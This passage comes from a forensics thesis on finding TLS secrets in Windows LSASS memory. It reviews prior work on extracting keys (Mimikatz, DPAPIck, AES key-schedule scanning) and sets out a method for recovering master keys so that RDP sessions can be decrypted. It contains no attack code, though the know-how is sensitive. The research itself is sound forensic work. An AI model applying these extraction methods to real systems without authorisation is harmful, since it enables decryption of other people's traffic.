suite of cryptographic providers is part of the CryptoAPI Next Generation (CNG). CNG provides a host of features, including Pseudo-Random Number Generators (PRNGs), NSA Suite B support, process isolation for “long-term keys” and kernel-mode cryptography that extend services like S/MIME, Key Storage, the Data Protection API (DPAPI) used for secure secret storage like Certificates, and of course the cipher suites leveraged by TLS. CNG was introduced in Windows Vista and will eventually completely replace the CryptoAPI which has provided such services previously, though the documentation claims that CNG will continue to provide legacy support (Microsoft, 2014a). 2.3.2.1. DPAPI The DPAPI is a central component to the cryptographic services provided by Windows to developers, allowing encryption of arbitrary secrets as “blobs” through a very simple interface. The entire scheme leveraged by DPAPI is outside of the scope of this literature review, but it bears relevance in that Private Certificates that are stored persistently on disk are protected via this mechanism (Microsoft, 2014b). Private Keys are stored embedded within the certificate in a DPAPI blob, though the rest of the certificate (including the public key) remains unencrypted (Picod, 2016). A lot of great work has been done on reversing DPAPI, which is discussed in the “prior work” section of this literature review. 26 2.3.2.2. Key Isolation The CNG documentation explicitly devotes a section to key isolation, perhaps the most important detail of the implementation. Microsoft explicitly states the following requirement: “To comply with common criteria (CC) requirements, the long-lived keys must be isolated so that they are never present in the application process” (Microsoft, 2014b). To meet this criteria, keys are isolated into a single process; fittingly, the LSASS process was chosen. Furthermore, the documentation states that access to all private keys is handled by the “key storage router,” the functionality of which is placed exclusively within Ncrypt.dll (Microsoft, 2014b). This revelation is critical as it suggests that any key negotiations for SSL/TLS will route through Ncrypt. Key isolation is enabled by default beginning with Windows Vista/Server 2008. The model for this isolation from Microsoft can be seen in Figure 2.6 27 Figure 2.6. Microsoft Key Isolation paradigm (Microsoft, 2014b) 2.3.2.3. Schannel Schannel is loaded into LSASS, along with the process that is leveraging TLS to encrypt and decrypt data. The request for key material is passed to the LSASS 28 process through another user-mode DLL within the requesting process. This flow is depicted in figure 2.7 from Microsoft. Figure 2.7. Schannel SSP architecture (Microsoft, 2015d) A few points of interest pertaining to the Schannel implementation were scattered throughout the documentation. The pertinent questions about capability of Schannel for the thesis surrounds three main topics: 1. Support for session resumption 2. Order of preference for cipher suites 3. Schannel-specific constants Microsoft states that they added support for RFC 5077 session resumption in Windows 8 and Server 2012 R2. This extends to clients like Windows phone and 29 Windows RT. The article also makes an interesting statement that RFC 5077 support would allow a cluster of servers to resume each others tickets (Microsoft, 2014d), indicating that somehow the key to decrypt these session tickets must be shared between servers. The order for preference of cipher suites is listed in a section of the Schannel SSP documentation, and is shown as consistent from Vista forward (the point at which CNG, and thus AES cipher suites, were introduced) (Microsoft, 2014c). This document shows a preference for RSA key exchanges. Separate documentation indicates that the cipher suite preference can be changed through group policy or programmatically and can be queried using “BCryptEnumContextFunctions,” which returns them in the order of priority. Incidentally, this function denotes bcrypt as a library of interest. It is described by Microsoft at the “Windows Cryptographic Primitives Library” (Microsoft, n.d.-d). The author noted a discrepancy with the schannel SSP documentation and anecdotal observations of the cipher suite preferences in practice. The author then compiled the Microsoft provided “BCryptEnumContextFunctions” sample code on the same documentation page (Microsoft, 2014c, p. 1) to list cipher suites in order of preference. Running this code across several test systems revealed a di↵erent order than was listed in the Schannel documentation, notably with Ephemeral suites preferred. The CNG function and structure documentation contain some constants that may appear in Schannel, but surprisingly fewer than was hoped. Because of this, the available header files were examined. Relevant header files were identified through the CNG documentation, and were noted to be “bcrypt.h,” “ncrypt.h,” and “sslprovider.h.” Unique constants were identified that could be used to locate structures, like keys, in memory. Examples include the magic values for RSA and ECC private keys, cipher suite identifiers, TLS version identifiers, and flag values. 30 2.4 Prior Work This final section of the literature review focuses on techniques that exist for identification and extraction of keys or other SSL secrets from memory. 2.4.1 Key Identification This paper would likely be remiss to review key identification with respect to SSL/TLS without mentioning the paper “Playing hide and seek with stored keys” by Shamir and van Someren (1998). The paper discusses mechanisms for identifying RSA keys in “Gigabytes of data,” which at the time referred to secondary storage, but holds true today, particularly “efficient algebraic attacks which can locate secret RSA keys in long bit strings” (Shamir & van Someren, 1998, p.1). Many of the techniques described are still valid and apply to ephemeral keys as well as persisted keys, but some are impractical considering the size of the data set and the evolution of stored data over time. For instance, entropy based attacks against a process that routinely generates random bits and handles encrypted blobs, as LSASS does, will likely not yield efficient and meaningful results. Consider 32-byte P-256 private keys for instance and compare that to any other pseudo-random value like a GUID of some kind (even within SSL to values such as the client/server random or session ID). Additionally, the private keys may be encrypted in memory, which would provide a match when employing such a method, but not in a form that is directly usable. The paper addresses sound generalizable approaches, however implementation specific details will likely prove more efficient in the context of the thesis, as will be examined later in this section. In addition to RSA Keys, AES keys may also exist in memory. AES is the de-facto standard for symmetric cipher amongst the TLS cipher suites. In fact, TLS RSA WITH AES 128 GCM SHA256 is the only cipher suite required for TLS 1.2 in the NIST TLS Implementation guidelines (Polk, McKay, & Chokhani, 2014). It plays the role of the session key that is derived after the PMK is exchanged or 31 derived. Because the symmetric key must exist while the connection is active in order to encrypt and decrypt data, this is an artifact that will definitely be sought in memory. At issue, however, is that the AES key is intended to be pseudo-randomly generated, so it should be indistinguishable unless stored in a specific context. One paper entitled “Lest we remember: cold-boot attacks on encryption keys” discusses such context that typically appears across implementations (Halderman et al., 2008). Specifically, a novel technique was developed based on the AES key schedule, which is not random. The key schedule is described described in FIPS-197, and is a mechanism to take the relatively short key material, and “expand” it into a number of round keys for use in di↵erent rounds of the algorithm. The product of this operation is of a fixed size as there are a fixed number of rounds per keys-size, and is also referred to as the key schedule. FIPS-197 notes that “The Key Expansion generates a total of Nb(Nr + 1) words5” (NIST, 2001, p. 19), where Nb is a fixed value of 4 representing the number of columns in the state and Nr is the number of rounds, which is 10 for 128-bit keys, 12 for 192-bit keys, and 14 for 256-bit keys (NIST, 2001, p. 7). The schedule is then 176 bytes for 128-bit keys, 208 bytes for 192-bit keys, and 224 bytes for 256-bit keys. Because the schedule is deterministically based on the key and will be used every time a specific key is used, it is seen as computationally expensive to recalculate and destroy the schedule repeatedly, which is ostensibly why it is often stored. Not only do the authors discuss identification of AES keys, but RSA keys as well, going so far as to release PoC source code to detect both. Since this seminal work, tools such as FindAES by Jesse Kornblum and the subsequent functionality ported to the scanning tool bulk extractor, curated by Simson Garfinkel, also implement key schedule based scanning (Garfinkel, 2013). Clearly this method relies on the implementer storing the schedule, but this appears by the accounts of the paper to be common practice (Halderman et al., 2008). 5A word in this context is 4 bytes 32 An even more direct revelation concerning key identification was discovered in a paper about identifying weaknesses in Dual EC entitled “On the Practical Exploitability of Dual EC in TLS Implementations” (Checkoway et al., 2014). The examination of specific implementations meant that Schannel was considered, and in the case of Schannel the authors “focus on ECDHE/ECDSA handshakes that use P-256” (Checkoway et al., 2014, p. 8). They note that all information they acquire and disseminate about Schannel in the paper is the fruit of their reverse engineering e↵orts. The authors also note the fact that LSASS handles the TLS handshake and key derivation. The other findings relevant to this thesis are noted here: • bcryptprimatives.dll implements the user-mode CNG API • Requested random bytes for key material are not cached • Schannel requests 40 bytes for an ephemeral P-256 private key (even though only 32 are used) • Schannel “caches ephemeral keys for two hours (this timeout is hard-coded in the configurations we examined)” (Checkoway et al., 2014, p. 8) • Schannel generates a session ID that is implementation unique and can be roughly fingerprinted • Schannel has a hard-coded cache size of 20,000 entries (per the authors’ examination) (Checkoway et al., 2014, p. 9) These findings provide clues about key caching, hard-coded values, and temporal context about operations occurring around key generation. The bcryptprimatives module can now be targeted as part of the analysis, adding to the other modules identified while reviewing the Microsoft documentation. Additionally, the fact that Schannel generates 40 random bytes means that, in the event that these random bytes are stored together with the ephemeral key, they may help identify it as such when looking the key on the heap. Hard-coded values like the 2 hour timeout and the 20,000 cache are also somewhat unique values that may be used to locate and target specific functions for reverse engineering e↵orts. 33 The session ID generation mechanism is of particular instance, as a non-random component to the session ID may make it more distinguishable when searching. This is incredibly desirable as all of the public Secret values are randomly generated or based on something mutable like time that does not make for flexible scanning features. The session ID, according to the paper, gets it’s fingerprint from the “hard-coded” cache length value of 20,000. The paper states that the first four bytes of the 32 random bytes requested from “BCryptGenRandom” are taken as an integer and replaced with the modulus of that number against the cache length value, producing two bytes of zeros in the third and fourth position (Checkoway et al., 2014, p. 9). 2.4.2 SSL/TLS Decryption Perhaps the most common and well documented example of SSL/TLS decryption is the implementation in Wireshark. Wireshark has both a graphical interface and scripting engine that make it a powerful analysis tool, particularly for small data sets like the ones that will be examined in the thesis experimentation. As far as the thesis is concerned, the actual internals of the decryption process are irrelevant excepting that the overall process is sane and can be relied upon. More interesting in this context are what parameters and preconditions Wireshark requires to perform decryption of an arbitrary connection, and how parameters may be passed. Wireshark’s source code (Wireshark, 2015) shows that it accepts an “SSL keylog file” as a text file with secrets in the following formats6: • RSA Session-ID:< session id > Master-Key:< master secret > • CLIENT RANDOM < session id > < master secret > • RSA < encrypted pre master secret >< pre master secret > 6Any value in brackets denotes a value to be replaced with the hexadecimal representation of the binary value 34 • PMS CLIENT RANDOM < client random >< pre master secret > The source code also shows that Wireshark accepts a Pre-Shared Key (PSK), which is given as a hexadecimal string representing between 0 and 16 bytes (Wireshark, 2015). Finally, one can provide the provide an RSA private key in X.509, Privacy-enhanced Electronic Mail (PEM), or Public Key Cryptography Standards (PKCS) #12 format (Wireshark, 2015). One of the inspirational sources for the topic of this thesis was a series of blog posts about decrypting RDP traffic using the private key stored persistently on Windows systems. Both posts noted that: 1. The full key exchange needed to be captured 2. Sessions which used ephemeral cipher suites (and by extension, the TLS implementation of PFS) were incompatible with this approach The blog post by Steve Elliot of Contexis went on to leverage FreeRDP to rebuild video and keyboard data from the session, replaying it in real-time or at extended speed (Elliot, 2014). Contexis, however, did not make that tool available to the general public, and it is hoped that a method developed here could be leveraged to do so. Further, if successful, both barriers posed would be negated within the time frame of the session cache life. 2.4.3 Key Extraction An encoding-specific detection mechanism for RSA keys was discussed in 2006 by Tobias Klein, in a paper entitled “All your private keys are belong to us (Extracting RSA private keys and certificates from process memory).” The primary premise of the paper is that all common binary Private Key formats leverage some form of Abstract Syntax Notation One (ASN.1) encoding (The author specifically mentions the PKCS #8 and x.509 standards). ASN.1 generally follows a Type-Length-Value (TLV) structure, and the author correctly notes that all certificates begin with the tag “SEQUENCE” which is represented by the ID 0x30, 35 followed by the length field, which is a single byte unless the value is greater than 127 bytes long (the highest order bit is set). If this is the case, then the length bytes notes how many following bytes are used to express the total length. So, in the case of certificates with RSA public keys, this value is often “0x82” or “1000 0010” in binary, meaning that the two following bytes express the length of the certificate, giving them a common signature of “0x3082.” The author also notes that Private Keys are then followed by a TLV of “0x020100” representing the version (Klein, 2006, p. 2). Windows leverages these encoding schemes (Microsoft, 2015a), making it likely that this technique could apply to the thesis when observing ephemeral private keys. In 2010, Jean-Michel Picod and Elie Bursztein presented work at BlackHat about reverse engineering Windows Data Protection API (DPAPI), and provided a PoC tool known as DPAPIck. The particular relevance that the paper has to this thesis is that, while not explicitly discussed, the private keys are protected with DPAPI. In 2014, Francisco Picasso updated DPAPIck (now at version 0.3), and added support for Windows 8 and Windows 10 systems, though DPAPI-NG (the component of CNG that replaces DPAPI) has not been “fully reversed” (Picasso, 2015). Amongst the ensuing updates to the work was the addition of “Probes” for parsing out specific artifacts protected by DPAPI, one of which was generically the RSA Private Key file. The catch is that most DPAPI secrets are indirectly protected by a user password, where as System DPAPI secrets require a system “password” that is protect by LSA Secrets. The author of this thesis leveraged the RSA “Probe” by writing a quick interface for it based on an example provided by Fransico Picasso for decrypting a di↵erent system secret (Wi-Fi credentials). This allowed the author to later decrypt the RDP private key to search for it in memory (still used for signing, even when ephemeral cipher suites were leveraged). Another closely related work was presented by Jason Ge↵ner at BlackHat 2011, entitled “Exporting Non-Exportable RSA Keys.” In this work, the author 36 looks for ways to export private keys in both CryptoAPI and CNG, successfully completing both tasks by flipping the exportable flag accordingly. Of particular interest is his work with CNG, in which he reverse engineers some important functions of CNG through debugging and dis-assembly (Ge↵ner, 2011). The venerable Mimikatz tool developed by Benjamin Delphy is also capable of decrypting and exporting Certificates stored with CNG, as can be seen in its source code on Github (Delphy, 2016a). Mimikatz can operate on a live machine or against a user-mode dump file, something which Volatility and Rekall currently do not do. Mimikatz also provides a Dynamic Link Library (DLL) which can be loaded into WinDbg to leverage the tool in concert with Microsoft’s own debugging and analysis platform (Delphy, 2013). Perhaps most directly in line with the goal of the thesis are several community plug-ins that have been developed for Volatility and target TLS related artifacts. A brief list of those available on the Volatility Github repository, including the community repository, appears below alongside the docstring provided by the plug-in and the author: • dumpcerts (vol): Dump RSA private and public SSL keys • haystack (Lo¨ıc Jaqueme): Search for a record in all the memory space. • linux ssh agent key (Ying Li): Get SSH keys from ssh-agent process heaps • rsakey (Philip Huppert): Extract Base64/PPEM encoded private RSA keys from physical memory. Importantly, none of these plug-ins address decryption or identification of connections using ephemeral cipher suites. The ssh agent key plug-in specifically targets Linux systems, but was reviewed to identify any reusable logic that could apply to finding ephemeral private keys. The “RSAKey” plug-in is particularly simple, scanning physical memory in fixed chunk sizes for the string “—–BEGIN RSA PRIVATE KEY—–” as an identifier for keys in the PEM format. The comments in the plug-in note that, for simplicity, the plug-in does not use overlap between chunks, meaning that cross-boundary misses may occur (Huppert, 2015). 37 While documentation suggests that Windows supports importing the PEM format (Microsoft, n.d.-a), the storage is unified into a di↵erent format and the private keys encrypted via DPAPI (Microsoft, 2014b). It is therefore unlikely that this would reveal keys in LSASS memory. Finally, the dumpcerts plug-ins is an implementation of the “trapkit” method discussed earlier, per the comments in the plug-in itself (Volatility, 2015). The closest functionality to the task at hand and most versatile of these plug-ins is “haystack,” which is not SSL specific. It is designed to identify heaps within processes not necessarily listed in the PEB, and identify the specific allocations on the heap. In the README documentation, an example is given whereby the author notes that one can extract the OpenSSL session records to obtain the session keys using this plug-in (and the provided structure) (Jaqueme, 2015). 2.4.4 Perfect Forward Secrecy Up until this point in the research, all e↵orts have been focused on obtaining the persistent private key for decryption. None have focus on cipher suites embracing PFS, which render the persistent key useless for decryption (though not impersonation, as it is still leveraged for identity). This section reviews research which instead focuses on ephemeral cipher suites and methods for subverting them. One of the most informative and thorough sources on subverting PFS, though it provides no implementation, is a blog post by Tim Taubert from November of 2014. The post explains how TLS session tickets, as implemented, break the property of Perfect Forward Secrecy, by allowing the state (including the master key) to be transmitted, and thus captured by an adversary, which could be potentially decrypted at any point in the future, leading to decryption of the connection (Taubert, 2014). Tim goes on to give examples of configuring the cache settings in di↵erent Web Server implementations to mitigate this as best as possible. 38 The post itself cites several other works about issues with the TLS handling of PFS, including the work described below. The most recent and directly relative work was presented at BlackHat USA in 2013, entitled “TLS ‘Secrets.”’ This presentation discusses implementing a mechanism for extracting OpenSSL cache entries, specifically looking at Unix-like systems. The focus of the presentation was actually heavily oriented around RFC 5077 as implemented by OpenSSL. A major finding was the fact that the Specification, in an attempt to remain implementation agnostic, does not provide any particulars or guidance on key usage or storage. OpenSSL was found to use 128 bit AES keys to encrypt tickets, which did not get rotated according to the author. The author sums up the impact of this finding by stating that “128 bit of security is all you get (at best), regardless of the cipher which has been negociated [sic]” (Daigniere, 2013, p. 8). This work cannot directly translate to the Windows implementation, sadly, but shows that the concept upon which the thesis is based is sound. Finally, a paper entitled “Perfect forward not so secrecy” seemingly completed in December 2013 also looks at associating session keys with captures TLS sessions and, interestingly, how to further limit access to these keys (Dreijer & Rijs, 2013). The paper focuses on OpenSSL server-side implementations and, like the BlackHat USA presentation, on RFC 5077. The authors develop a python PoC to extract the master key with session ID from OpenSSL implementations (Dreijer & Rijs, 2013, p. 8). 39 CHAPTER 3. RESEARCH METHODOLOGY This chapter focuses on developing a logical, methodical, and practical way to go about identifying whether secrets and other TLS artifacts exist in LSASS memory, and, if so, whether they maintain a discernible relationship in memory. The exploratory nature of the research means that such artifacts or relationships may not exist; however, like other examples where encryption is employed, a key generated and used ephemerally may reside in volatile memory for some duration. Other artifacts from the transaction should also exist, particularly because connections are stateful and the operating system manages the creation, maintenance, and termination of these connections. There are also reasons why artifacts may necessarily outlive the connection itself for some time (consider the session resumption feature of TLS). 3.0.1 Design Decisions The foremost design goal was accessibility and reproducibility by the community. This goal translated to the selection of tools and techniques that were exclusively either free and publicly available or open source. A clear exception to the rule was the use of Windows operating systems as these are the subject of the research; even in this case, freely available development virtual machines from Microsoft were used as much as possible towards the ease of reproducibility. A final nuance of the stated goal is that preference was given to public tools released by Microsoft specifically, in an e↵ort to remain as “native” as possible. Another contributor to the decision to remain native as often as possible was the second design goal: rapidity and e↵ectiveness of analysis. By leveraging Microsoft tools, such as WinDbg, and built-in capabilities, like on-demand 40 user-mode process dump creation, a variety of inherent benefits became available to speed up analysis. For instance: • User-mode process dumps can be created without additional tools beginning with Windows Vista (Microsoft, 2010). • Native creation of these dumps does not require or induce any special state for the operating system (no need to pause or restart the system), allowing rapid sampling repetition during any variable manipulation. • The dumps are “sparse” by default, meaning that unused ranges in the virtual address space are not included. This creates a more efficient search scope that avoids unnecessarily parsing empty ranges of memory. • The user-mode dumps can be read natively by WinDbg, which in turn can automatically leverage Microsoft’s public symbols (Program Databases or PDBs) to make sense of structures and memory pointers therein. Although public, the information provided by Program Databases (PDBs) is not necessarily documented via any other source, and they have historically played an integral role in Windows memory forensics (Dolan-Gavitt, 2007). In order to generate TLS sessions in a way that is native, RDP was used. The RDP client and server functionality is built-in to all modern releases of Windows Microsoft (2015c), and so requires very little alteration to enable testing of a given operating system. The use of RDP simultaneously minimizes external variables that would be introduced by third-party software and has the ancillary benefit of exploring one of the use-cases presented previously (Incident Response). Finally, the desire for flexibility influenced the experimental design towards virtualization. The use of virtual machine abstraction allows for portability and repeatability (through snapshots for example). Particularly though, it enabled inspection of RAM without reading through the target operating system, thus leaving it mostly insulated to analysis. Using abstract virtualization mechanisms like pausing and snapshots, the guest physical memory could be saved to a file (VMEM) on the host, which could then be analyzed and manipulated as needed. 41 The VMEM format is supported by powerful open source analysis tools (e.g., Volatility and Rekall), which are able to trivially convert it to other formats. These tools were leveraged to convert the VMEM to a raw copy, in which physical o↵sets into the file were synonymous with o↵sets into physical memory. Physical o↵sets produced by scanning tools like bulk extractor could then be compared with the physical o↵sets rendered by virtual to physical memory translations of analysis tools like Rekall and Volatility. 3.0.2 Overview The methodology that emerged from the interaction of these design goals and the technology available to meet them is briefly highlighted in Figure 3.1 and then expanded upon in Section 3.0.3. Philosophically, there were at least two approaches to the problem of identifying the key – observing the process (live debugging and static analysis) or observing the data (post-mortem analysis). While both are valid and they are not mutually exclusive (in fact, they are combined in the articulated methodology), post-mortem analysis was given precedence for three reasons. Nominally, these are scope, simplicity, and fidelity to the problem. The exact scope of debugging wasn’t quite known – the executable(s) and functions that interact with the master key were unknown, though presumed to originate with, or orientate around, Schannel and the cryptographic libraries. While parsing PDBs ahead of time would have provided insight to develop scope, in isolation it could have introduced biases and pivoted the focus of analysis with misleading or enticing symbol names. It could have also falsely restricted the scope through exclusion of symbols (and many sensitive symbols are excluded in the public PDBs (Microsoft, 2015b)) for functions that are highly relevant. It would be possible to simply trace through a TLS transaction to generate scope, but this still requires enabling kernel debugging if attaching to the LSASS process. Manually tracing would also likely run into issues due to timing requirements when dealing 42 with live network connections. This too is solvable through adjustments, but each adjustment to the base system moves the environment further and further from the actual parameters being emulated, thus allowing lurking variables to creep in. Any adjustment would also need to be made against every test system. The problem itself is one that would be post-mortem – whether or not the artifacts exists after a connection has been established, possibly terminated. If the key exists temporarily during execution and is freed or destroyed very quickly, this is still interesting, but less so in the forensic context of the problem. Analyzing in a post-mortem way allowed for closer alignment with the use cases and minimized temporally-based variables to some degree. It also provided information that could be used to make more informed debugging and tracing decisions, enhancing the potency of the debugging e↵ort. 43 Search heuristically for session keys Identify known public values used to derive the master key Intercept master key (MK) generation on client to server Search for MK to identify context in server memory Leverage unique context features to identify other MK instances Walk pointers to identify related structs Compare related context to unique public values Debug live connections and secret generation Scan physical memory for identified secret structs MK not identified MK identified Figure 3.1. TLS artifact identification methodology This implementation, when distilled, resembles the Inman-Rudin paradigm (Identification ! Classification ! Individualization ! Association ! Reconstruction (Inman & Rudin, 2002)): • The first several steps are used to “identify” structures that could be relevant to the event of interest (a TLS connection) 44 • The master key structs are “classified” and enumerated (by virtue of being pseudo-random, they are inherently “individualized”) • After identifying and classifying master keys and other structures, a given MK is then “associated” with a given event via unique features of the connection • Finally, the associated MK and connection parameters are used to decrypt the TLS session and reconstruct the event of interest 3.0.3 Discussion of Methods This section augments the overview of the methodology by activity depicted in Figure 3.1. 3.0.3.1. Searching for session keys During previous research and analysis of LSASS, the author used AES key schedule heuristic scanning (via the “FindAES” tool produced by Jesse Kornblum (2011) to identify the AES keys used to encrypt user secrets in LSASS. This same technique was applied to session keys when AES was used in the cipher suite of a TLS connection. The theory was that, as symmetric keys, the AES keys used for encryption of the session would exist in both the client and the server memory for the duration of the connection (generated in the LSASS process of both if they are Windows machines). Scanning both hosts for AES key schedules may then yield two or more pairs of matching keys (the client and server write keys), which would be those used for the connection (Dierks & Allen, 1999; Freier et al., 2011). 3.0.3.2. Identifying known values One method used to identify possible structures that could either contain or lead to secrets of a connection was to start with known-knowns. In the context of a TLS connection, that term applies to public values – either those unique to the 45 connection, such as the client/server random values, or constant values like those defined in the RFCs (Dierks & Rescorla, 2008, p. 68). Unique values present the opportunity to enumerate and dissect artifacts of a specific connection. Conversely, constants as defined in the RFCs, or perhaps particular to the implementation, act as generic identifiers that can be used to laterally identify similar artifacts across arbitrary connections. This was useful when no particular connection was targeted or known, and instead the desire was to exhaust all connection artifacts in memory. The reasoning behind searching specifically for public values was several-fold. The first reason was that, while secret values (e.g., keys) may be sequestered in an encrypted “vault” in memory, public values likely remain unencrypted in memory, as they are unprotected in other contexts. The second was that, intuitively, secrets are often compartmentalized, and so unique to a specific connection 1. Further, key material is often pseudo-randomly generated in such a way that detection is theoretically impossible or impractically costly. This makes secrets less flexible as search features than looking for public values. Finally, the public values were readily accessible from a network capture, which matched a use-case identified and aided in the ease of testing. 3.0.3.3. Intercepting master key generation The pre-master key (and subsequently master key) are the two most useful secrets in decrypting a given connection. This is because, as discussed in Chapter Two, the master key is used to derive the sessions keys, and always exists, regardless of cipher suite chosen. This very fact is the reason Perfect Forward Secrecy (PFS) is important – the private key in non-ephemeral key exchanges is used to decrypt the pre-master secret that is shared during an RSA TLS handshake. So the usefulness of the persistent private key in “ex post facto” decryption is predicated on the usefulness of the pre-master key. 1An exception to this in TLS is the persistent private key 46 Knowing the pre-master key or master key would allow for scanning of memory to identify the location and number of instances of the key in memory for a given connection, which could then be compared over several connections to identify consistent structures (particularly if combined with input fuzzing like altering the TLS version or cipher suite used in some connections). Several popular modern browsers (e.g., Firefox and Chrome) allow for logging of master keys to a file Mozilla (2015). However, these browsers leverage a di↵erent cryptographic library, and, even so, the goal is to minimize external variables on the target host, making RDP or Internet Explorer (IE) preferred options regardless. Fortunately, several open source RDP clients exist, which rely on OpenSSL, a well documented open source SSL library. A small “shim” library can be preloaded to intercept the master key generation calls to OpenSSL and transparently dump the returned key to a file. This key can then be compared with what is resident in memory on the target (Windows) host acting as the RDP server. 3.0.3.4. Leveraging unique structure identifiers The master key itself is pseudo-random. It is therefore desirable to locate some contextual feature that could be used as a “class” marker for identifying unknown master keys. Specifically, there likely exists some structure around, or reference to, the master key if it is both managed and memory resident. This could be co-located known values, some form of “magic number,” or even pointers to the master key from other structures if it has no direct context in memory. Identifying these features will form the link between master keys and unique connection identifiers that is required for decryption. Any master key “class” markers could be portable or reusable across other instances of the same implementation (i.e, other hosts that implement the same Schannel paradigm). Furthermore, unique “magic” values can provide especially valuable insights. Values that are magic are hard-coded or the generation thereof is hard-coded. This 47 means that identified magic values (or the way they are generated) must exist in the functions of one or more modules loaded into memory. This fact links an artifact containing the magic value to the modules and functions that created it or use it, which is useful intelligence for live debugging. Symbols can be leveraged to extrapolate from magic values. If the memory address of the magic value (or generator for the magic value) resolves symbolically to a function named, for example, “GenerateSessionKeys” or “CreateSSLSessionStruct,” then there is intuitive meaning and informed speculations can be made at the purpose of the structure. A caveat hinted at earlier is that the public Windows symbol files contain only the symbols that Microsoft deems necessary for reasonable levels of debugging, so not all functions or global variables are exposed. This has a potentially insidious side-e↵ect when performing analysis, as the “ln” function of WinDbg that performs symbol resolution lists the nearest symbols before and after a given address appended with an o↵set to the provided address. The implication of this is that if an address exists within a function for which symbols are not present, it may appear that the address is inside of the next-nearest symbol. For this reason, any time that function symbols are used for analysis, the function will be disassembled to ensure that the value of interest is actually contained within. 3.0.3.5. Walking pointers Related structures are often chained together by pointers in memory. Starting with a public value, identifying its structure and pointers, and then dereferencing (or “walking”) the pointers inside of that structure will provide a series of chained structures. One issue with this approach is that it can quickly become overwhelming. Pointers can lead to exponential branching (or infinite looping in the case of lists), so it can be important to have some semblance of the purpose for the structure being observed before (potentially) needlessly walking a 48 pointer to a value of little or no use. Pointers also exist to functions or static variables embedded in binary files, which, if these have symbols, is helpful in identifying the structure as well. Another important aspect is walking pointers in reverse to identify what is pointing to a structure. There are many situations where the artifact of interest does not point back to structures referencing it. In this case, the simplest solution is to scan for the memory address of the structure, to see if a pointer to that memory address exists anywhere else in memory. 3.0.3.6. Comparing related structs to unique public values This is nearly the inverse of the initial step. Once a series of structures related to the master key are identified in memory, they need to be linked to a given connection to be valuable. Two examples of ostensibly unique public values are the session ID and the client/server random values. The random values are particularly interesting, as the first four bytes of the random are very often a timestamp (Freier et al., 2011, p. 25), which has forensic value. The client random is also the value that is included in the NSS log format used by browsers and Wireshark (although Wireshark also accepts the session ID, as mentioned in Chapter Two). As was also mentioned in the literature review, the session ID can have an interesting quality in the case of Schannel, because a hard-coded value in the session ID generation process causes them to typically have zeros in the third and fourth byte positions, acting as a rough fingerprint (Checkoway et al., 2014). This means that, to some extent, the server that was connected to can be identified as a Windows server in the case of a client. It also provides a visually recognizable pattern when performing analysis. 49 3.0.3.7. Debugging Local Security Authority Sub-System Up until this stage, every part has been piecing together the reconstruction of an event (the TLS connection) and the context around that event. Debugging will then play events forward, and possibly fill in missing information within the scope of the artifacts identified, or lead to new artifacts. It also has the potential to validate or challenges assumptions made about what was seen in memory. An example is that something which is seen as managed and permanent may be less so than initially anticipated, or contrastingly, something seen as ephemeral or non-existent may actually be transitioned to a di↵erent, more permanent (even encrypted) structure. Static analysis will also likely be performed in advance of this task where applicable, based upon the complexity of the functions that are identified and examined, as that will also narrow the scope for debugging. 3.0.3.8. Scanning Physical Memory The focal point has been LSASS memory space based largely on documentation provided by Microsoft; however, artifacts that are generated within that process do not necessarily remain within its user-mode virtual address space. This is especially salient when considering how Windows handles kernel memory (i.e., mapping it into the latter end of the process address space). Scanning physical memory may help illuminate relationships or external artifacts that were not scoped into the preceeding methodology (user-mode dumps for example do not include the kernel address space). 3.0.4 Infrastructure This section discusses the technical instrumentation of the methodology (including tools, tool versions, and setup of the live debugging environment), so that the methods are faithfully reproducible. 50 The design guidelines highlighted previously are manifest in the tool selection in several demonstrable ways. At a high level, reproducibility and simplicity led to an attempt to minimize the breadth of tool use and narrow to a core of analysis suites. The linchpin of these tools is WinDbg for user-mode process dump analysis and kernel debugging. The choice to use WinDbg also meant that Windows was the choice for analysis platform. Of the versions available, Windows 10 was used as it is the latest available version from Microsoft at the time of writing. Microsoft also released a tool for basic tasks related to PDB files and executables called “cvdump” that could be leveraged for symbol inspection outside of WinDbg. To augment WinDbg as a hex viewer, a Windows-based hex editor was required, and HxD by Ma¨el H¨orz was selected. At the time of writing, HxD is freely available, comes as a single executable, and supports large file sizes with quick searching capability, a key requirement. What HxD lacks, however, is a tunable scanning engine that can output matches quickly and easily. The “lightgrep” scanner from the bulk extractor utility will be leveraged to this end. Bulk extractor also supports an implementation of the “FindAES” tool mentioned previously in the form of an “aes” scanner, and was used for session key scanning2. Windows 10 was also selected as the initial target system, in part for the same reason that it was selected as the analysis platform. In addition to being the latest release, and Microsoft intends for it to be a “universal” operating system across devices (Warren, 2015). This is evident not only from statements by the company, but actions like o↵ering free upgrades from previous versions of Windows (Microsoft, 2015f) and announcing plans to upgrade one billion devices to Windows 10 (Myerson, 2015). In brief testing, Windows 10 also prefers ephemeral cipher suites when using RDP. The free upgrades, universal deployment strategy, and 2although Volatility may also be used for AES key scanning, employing the same technique as bulk extractor, bulk extractor was selected as it does not require interpretation and loading of any address space, but treats all inputs as bitstreams 51 preference for PFS connections make it an ideal candidate system to maximize the impact of the research going forward. The systems were virtualized atop the open-source VirtualBox platform. VirtualBox supports the required capabilities for testing, namely snapshots and the use of pipes which can be connected between hosts to simulate a serial connection. This support will significantly ease the burden of Kernel debugging in Windows, which requires an external OS attached to the debuggee through a serial connection. A logical diagram of the analysis infrastructure and list of exact tools with versions can be found in Figure 3.2 and Table 3.1 respectively. Figure 3.2. Analysis infrastructure logical diagram 52 Table 3.1. Analysis infrastructure Tool Version Author VirtualBox 5.0.14 Oracle Windows 10 10.0.10586 Microsoft Python 2.7 Python Software Foundation WinDbg 10.0.10586.567 Microsoft radare2 w32-0.10.1 [email protected] Volatility 2.5 Volatility Foundation Rekall 1.4.1 Google HxD 1.7.7.0 Ma¨el H¨orz cvdump 14.00.23611 Microsoft bulk extractor 1.5.2 Simon Garfunkel Kali Linux 2016.1 O↵ensive Security Wireshark 2.0.2 Wireshark Foundation FreeRDP 2.0.0-dev (git 2a3e999) The FreeRDP Team sslkeylog N/A Peter Wu 3.0.5 Measure of Success The defining criterion for success was the implementation of a repeatable, reliable, and possibly automated method for identification and extraction of artifacts that enabled the decryption of arbitrary connections. For connections 53 employing PFS, this would involve extraction of either the pre-master key, master key, or ephemeral private key and association with a unique identifier for a given connection. Even if this goal is not achieved, there are still valuable forensic artifacts that may be extracted, which could constitute contribution to the community. Extraction of public keys, timestamps, and connection identifiers that may outlive or compliment other sources used for enumerating prior connections from memory could be forensically significant. 3.1 Summary This chapter provided the methodology and technical implementation that will be employed in the research. It discussed the design decisions that led to the choice of methodology and instrumentation, 